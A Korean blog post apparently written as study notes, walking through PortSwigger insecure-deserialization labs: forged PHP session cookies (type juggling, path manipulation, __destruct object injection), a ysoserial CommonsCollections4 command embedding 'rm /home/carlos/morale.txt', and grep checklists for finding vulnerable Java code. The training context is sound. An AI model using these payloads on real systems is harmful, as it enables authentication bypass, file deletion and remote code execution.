정보보안

Portswigger Lab: 안전하지 않은 역직렬화(Insecure deserialization)(1) 본문

Public/Portswigger Lab

Portswigger Lab: 안전하지 않은 역직렬화(Insecure deserialization)(1)

haru0909 2025. 2. 2. 02:29

1. Insecure deserialization: PHP 7 버전 type juggling

 

wiener:peter로 로그인하고 쿠키 값을 확인한다.

 

 

url decoding과 base64 decoding을 하면 아래와 같은 토큰이 나타난다.

O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"v1121s9n9iclilyg9smnz3t04kebqne0";}

PHP 직렬화 형식에서 문자는 데이터 유형(s=string, i=integer)을 나타내고 숫자는 각 항목의 길이를 나타낸다. 

따라서 wiener를 administrator로 변경하기 위해선, 문자열 길이에 맞게 6 -> 13으로 변경해주어야 한다.

 

이대로 다시 base64 encoding하여 쿠키에 넣어 전송하면 에러가 발생한다. access_token을 변경하지 않았기 때문이다.

 

 

 

 

PHP 7.X 버전과 그 이전 버전에서는, 느슨한 비교(loose comparison, ==)를 사용할 때,

서로 다른 데이터 타입을 비교하면 암시적 형 변환(type juggling)이 일어난다.

 

예를 들어 숫자와 문자열을 비교할 경우, 먼저 문자열을 숫자로 변환하려고 시도한다.

"42" 같은 숫자 문자열은 42로 변환할 수 있겠지만 "password" 와 같은 문자열은 숫자로 바꿀 수가 없다.

따라서 이렇게 변환할 수 없는 문자열은 모두 0으로 변환됐다.

(PHP 8.0 버전 부터는 비숫자 문자열을 숫자로 변환하려고 할 경우 TypeError 경고가 발생한다.)

 

 

우리 환경에 적용된다고 가정하면, s를 i로 변경하고, 값을 0로 바꿔주면 되겠다.

O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}

 

base64 인코딩을 진행한다.

 

 

쿠키 값을 변경하면, location에 id가 administrator가 된 것을 확인할 수 있다. 

 

 

admin으로 인증되어 admin panel 기능이 활성화되었다. carlos를 지우고 끝낸다.

 

 

solved!

 

 


2. Insecure deserialization: PHP unserialize()

 

 

wiener:peter로 로그인 후 avatar에 아무 이미지 파일을 업로드 했다. 

 

 

요청 헤더에서 cookie 값을 가져와 url decoding, base64 decoding을 했다.

쿠키 내 'avatar_link'에서 'users/wiener/avatar' 을 발견했다.

 

O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"zhqx4usd2bq6tvwr72p4avwuhmouwqyf";s:11:"avatar_link";s:19:"users/wiener/avatar";}

 

 

delete user 기능을 사용했을 때, link된 파일도 지워진다면 이 랩을 해결할 수 있다.

아래 코드처럼 json_decode()가 아닌 unserialize() 함수를 사용하고, 경로에 대한 검증이 없으면 가능하겠다.

<?php
class User {
    public $username;
    public $image_location;

    public function __construct($username, $image_location) {
        $this->username = $username;
        $this->image_location = $image_location;
    }

    public function deleteUser() {
        // 프로필 이미지 삭제
        if (file_exists($this->image_location)) {
            unlink($this->image_location);
        }
        echo "User deleted successfully.";
    }
}

// 사용자의 세션에서 역직렬화된 객체를 가져옴
if (isset($_COOKIE['user_data'])) {
    $user = unserialize($_COOKIE['user_data']);
    $user->deleteUser();
}
?>

 

 

avatar_link를 /home/carlos/morale.txt로 변경하고, 길이를 23으로 수정한 후 base64 인코딩 한다.

O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"zhqx4usd2bq6tvwr72p4avwuhmouwqyf";s:11:"avatar_link";s:23:"/home/carlos/morale.txt";}

 

 

/my-account/delete를 요청할 때 intercept를 하여 cookie를 방금 base64화한 데이터로 변경하고 보내준다.

 

 

/home/carlos/morale.txt 파일이 정상적으로 삭제되어 완료했다.

 

 


3. Insecure deserialization: 매직 메서드를 이용한 PHP에서의 임의의 객체 주입

 

 

wiener:peter로 로그인한 후 쿠키 값을 url, base64 디코딩한다.

 

 

O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"ryzzw0bvfuaho8qhvq38eiuitduzbxkq";}

 세션 쿠키가 직렬화된 PHP 객체로 이루어져 있다. (O:<길이>:"클래스명" 형태)

 

 

별 게 없어서 sitemap을 확인하니 libs/CustomTemplate.php가 로드된 것을 확인할 수 있었다.

 

 

다만 그대로 전송하면 응답 값에 아무것도 출력되지 않는다.

 

 

파일 명 뒤에 ~(tilde)를 추가하여 전송하면, 웹서버가 PHP가 아닌 일반 파일로 인식하여 PHP 엔진이 이를 실행하지 않게 된다.

이로 인해 웹 서버는 해당 파일을 일반 텍스트 파일로 처리하고, 그 내용(소스 코드)을 그대로 반환한다.

 

 

/libs/CustomTemplate.php 코드를 살펴보자.

CustomTemplate클래스에 매직 메서드(__)가 포함되어 있는 것을 확인했다.

(매직 메서드는 특정한 동작을 자동으로 수행하는 특별한 함수로 __(언더스코어 두 개)로 시작하며, PHP 내부에서 특정 이벤트가 발생했을 때 자동으로 호출된다.)

<?php

class CustomTemplate {
    private $template_file_path;
    private $lock_file_path;

    public function __construct($template_file_path) {
        $this->template_file_path = $template_file_path;
        $this->lock_file_path = $template_file_path . ".lock";
    }

    private function isTemplateLocked() {
        return file_exists($this->lock_file_path);
    }

    public function getTemplate() {
        return file_get_contents($this->template_file_path);
    }

    public function saveTemplate($template) {
        if (!isTemplateLocked()) {
            if (file_put_contents($this->lock_file_path, "") === false) {
                throw new Exception("Could not write to " . $this->lock_file_path);
            }
            if (file_put_contents($this->template_file_path, $template) === false) {
                throw new Exception("Could not write to " . $this->template_file_path);
            }
        }
    }

    function __destruct() {
        // Carlos thought this would be a good idea
        if (file_exists($this->lock_file_path)) {
            unlink($this->lock_file_path);
        }
    }
}

?>

 

__destuct()는 file_exists()가 true라면 파일을 unlink 시켜 삭제한다.

Carlos의 홈 디렉터리에서 또 morale.txt를 삭제해야 하는 미션을 가진 나에게는 매우 흥미로운 메서드이다.

 

쿠키 형식을 참고하여 CustomTemplate 객체와 "lock_file_path";s:23:"/home/carlos/morale.txt"를 추가하고 다시 인코딩한다.

 

[인코딩 전 쿠키]

O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}

 

[base64, url encoding한 쿠키]

TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjE6e3M6MTQ6ImxvY2tfZmlsZV9wYXRoIjtzOjIzOiIvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dCI7fQ%3d%3d

 

 

cookie session에 인코딩 값을 넣고 전송하면 에러가 발생하지만 Solved가 되었다고 뜬다.

[참고: 매직 메서드 예시]

  • __construct() → 객체가 생성될 때 자동 실행됨 (생성자)
  • __destruct() → 객체가 삭제될 때 자동 실행됨 (소멸자)
  • __get() → 접근하려는 속성이 없을 때 자동 실행됨
  • __set() → 속성에 값을 할당할 때 자동 실행됨
  • __toString() → 객체를 문자열로 변환할 때 실행됨
  • __wakeup() → unserialize()가 실행될 때 호출됨

4. Insecure deserialization: Apache Commons Collections 역직렬화 취약점 (CVE-2015-7501)

 

[Java 직렬화 형식]
Java와 같은 일부 언어는 이진 직렬화 형식을 사용한다. 인간 친화적인 PHP에 비해 읽기가 더 어렵지만 몇 가지 숨길 수 없는 기호를 인식하는 방법을 알고 있다면 직렬화된 데이터를 식별할 수 있다. 예를 들어, 직렬화된 Java 객체는 항상 동일한 바이트로 시작하며, 이는 16진수로 'ac ed', Base64로 'rO0'으로 인코딩된다.

java.io.Serialized 인터페이스를 구현하는 모든 클래스는 직렬화 및 역직렬화될 수 있다. 소스 코드에 액세스할 수 있는 경우, InputStream에서 데이터를 읽고 역직렬화하는 데 사용되는 readObject() 메서드를 사용하는 코드를 기록해야 한다.

 

Apache Commons Collections 역직렬화 취약점 (CVE-2015-7501)

Apache Commons Collections 라이브러리는 객체 변환(transformer) 기능을 제공하는데,
그 중 InvokerTransformer reflection(실행 중인 프로그램에서 클래스, 메서드 등을 동적으로 조작하는 기능)을 사용해 특정 메서드를 실행하는 기능이 있으며, 이를 조작하면 RCE가 가능하다.
공격자는 InvokerTransformer를 포함한 악성 객체를 직렬화(serialization) 후 서버로 전송하고,

서버에서 이를 unserialize() 또는 ObjectInputStream.readObject()로 역직렬화 하면 임의 명령어 실행이 가능하다.
이 취약점은 ysoserial 같은 도구를 이용해 익스플로잇할 수 있으며, 현재는 패치가 적용된 상태다.

 

https://payatu.com/blog/insecure-deserialization-java-expliotation/

 

Insecure Deserialization in Java and its exploitation

Learn how 'Insecure Deserialization' vulnerability arises in Java and how an attacker may use deserialization to exploit a vulnerable system.

payatu.com

관련 취약점은 위 링크를 참고해도 좋다.

 

 

wiener:peter 자격증명으로 로그인 한다.

 

 

Cookie 값을 url decoding, base64 decoding을 한다. 세션 쿠키에 직렬화된 Java 객체가 포함되어 있음을 확인한다.

 

 

다만 ysoserial은 java 17 버전과 궁합이 잘 안맞는다.. 열심히 구글링 해서 명령어를 실행시켰다. 

java --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
     --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
     --add-opens=java.base/sun.reflect.annotation=ALL-UNNAMED \
     -jar ./ysoserial-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64 -w 0 > cookie.txt

 

 

쿠키에 해당 값을 넣고, url encoding을 한 후 전송하면 lab을 풀 수 있다.

 


5. Insecure deserialization: Java 역직렬화를 위한 사용자 정의 가젯 체인 개발

 

이 랩은 oswe 과정과 비슷해보인다. 소스코드를 확인하고, 역직렬화 PoC 스크립트를 만들면 될 것 같다.

 

 

wiener:peter 자격증명으로 로그인 한 후, cookie를 url decoding -> base64 decoding 한다.

사진의 우측 하단에서 디코딩 된 데이터를 살펴보면 java 객체로 이루어진 것을 확인할 수 있다. 

 

 

해당 애플리케이션 site map을 확인하면, /backup/AcessTokenUser.java가 로드된 것을 알 수 있다.

 

 

해당 엔드포인트를 요청하면, java 소스코드가 노출된다.

 

그리고 나서 /backup/폴더를 요청하면, 다른 java 파일이 추가로 노출된다.

 

 

두 개의 코드를 확인해보자.

먼저 'AcessTokenUser.java' 는AccessToken을 발급하는 간단한 코드이다. 지금 당장은 필요가 없다.

// AccessTokenUser.java

package data.session.token;

import java.io.Serializable;

public class AccessTokenUser implements Serializable
{
    private final String username;
    private final String accessToken;

    public AccessTokenUser(String username, String accessToken)
    {
        this.username = username;
        this.accessToken = accessToken;
    }

    public String getUsername()
    {
        return username;
    }

    public String getAccessToken()
    {
        return accessToken;
    }
}

 

이 코드는 취약점이 존재하여 짚고 갈 게 많아 코드 밑에 작성하겠다.

// ProductTemplate.java

package data.productcatalog;

import common.db.JdbcConnectionBuilder;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;

public class ProductTemplate implements Serializable
{
    static final long serialVersionUID = 1L;

    private final String id;
    private transient Product product;

    public ProductTemplate(String id)
    {
        this.id = id;
    }

    private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException
    {
        inputStream.defaultReadObject();

        JdbcConnectionBuilder connectionBuilder = JdbcConnectionBuilder.from(
                "org.postgresql.Driver",
                "postgresql",
                "localhost",
                5432,
                "postgres",
                "postgres",
                "password"
        ).withAutoCommit();
        try
        {
            Connection connect = connectionBuilder.connect(30);
            String sql = String.format("SELECT * FROM products WHERE id = '%s' LIMIT 1", id);
            Statement statement = connect.createStatement();
            ResultSet resultSet = statement.executeQuery(sql);
            if (!resultSet.next())
            {
                return;
            }
            product = Product.from(resultSet);
        }
        catch (SQLException e)
        {
            throw new IOException(e);
        }
    }

    public String getId()
    {
        return id;
    }

    public Product getProduct()
    {
        return product;
    }
}

1. ProductTemplate 클래스는 Serializable 인터페이스를 구현한다. 이에 객체를 직렬화/역직렬화 할 수 있다.

객체를 역직렬화할 때(readObject()) 예상치 못한 코드가 실행될 가능성이 있기에 잘 살펴봐야 한다.

 

2. readObject() 메서드가 존재한다.

  • readObject()는 객체가 역직렬화될 때 자동으로 실행되는 메서드.
  • 이 메서드 내에서 악의적인 코드 실행이 가능할지를 분석함.
  • defaultReadObject() 호출 후 추가적인 코드가 실행되는지 확인해야 함.

3. readObject()에서 실행되는 코드 분석

역직렬화될 때 자동으로 데이터베이스 연결이 수행되는 것을 확인할 수 있으며, 사용자 입력값 id가 String.format()을 통해 직접 SQL 쿼리에 삽입되어 SQL Injection 가능성이 있음을 알 수 있다.

-> 따라서 역직렬화된 객체의 id 값을 조작하여 SQL Injection 공격을 수행할 수 있다.

 

 

곧 시험이라... 나중에 이어서..

 

 

 


 

[oswe와 접목시켜, java 역직렬화 취약점을 찾으려면..]

 

1. Serializable을 구현하는 클래스를 검색한다.

grep -r "implements Serializable" .

또는 IDE(예: IntelliJ, VSCode)에서 "implements Serializable"을 검색한다.

-> 해당 클래스가 존재하면 readObject() 또는 readResolve() 메서드가 있는지 확인해야 한다.

 

 

2. readObject() 또는 readResolve() 메서드 검색를 검색한다.

grep -r "private void readObject" .
grep -r "protected Object readResolve" .
  • readObject()는 역직렬화될 때 자동 실행되는 메서드.
  • readResolve()는 역직렬화 후 실행되는 메서드로, 역직렬화 취약점이 발생하지 않도록 보안한다.

 

3. ObjectInputStream.readObject() 호출 여부 확인.

grep -r "readObject()" . 
  • 외부에서 직렬화된 데이터를 받아 역직렬화를 수행하는 코드가 있는지 확인해야 한다.
  • 외부 입력(네트워크, 파일, HTTP 요청 등)을 통해 역직렬화가 실행되면 취약점일 가능성이 크다.

 

4. defaultReadObject() 이후 실행되는 코드 분석

inputStream.defaultReadObject();
  • defaultReadObject() 이후 외부 입력값이 포함된 코드가 실행되는지 확인한다.
  • 데이터베이스 접근, 시스템 명령어 실행(Runtime.getRuntime().exec()) 같은 코드가 있는지 확인 필요.

 

5. 위험한 메서드 호출 여부 확인

grep -r "Runtime.getRuntime().exec" .
grep -r "ProcessBuilder" .
grep -r "new FileWriter" .
grep -r "java.sql.Connection" .
  • Runtime.getRuntime().exec() → 역직렬화 시 원격 코드 실행(RCE) 가능성.
  • ProcessBuilder → 시스템 명령 실행 가능성.
  • new FileWriter → 파일 시스템 조작 가능성.
  • java.sql.Connection → 데이터베이스 조작 가능성.

위와 같은 메서드가 포함된 경우, 역직렬화될 때 악용될 가능성이 크다.

 

 

'Public > Portswigger Lab' 카테고리의 다른 글

Portswigger Lab: API testing  (0) 2025.02.27
Portswigger Lab: XXE(2)  (0) 2025.02.02
Portswigger Lab: SSRF, Path Traversal, xxe(1)  (0) 2025.02.01
Portswigger Lab: SSTI(2)  (1) 2025.02.01
Portswigger Lab: SSTI(1)  (0) 2024.11.13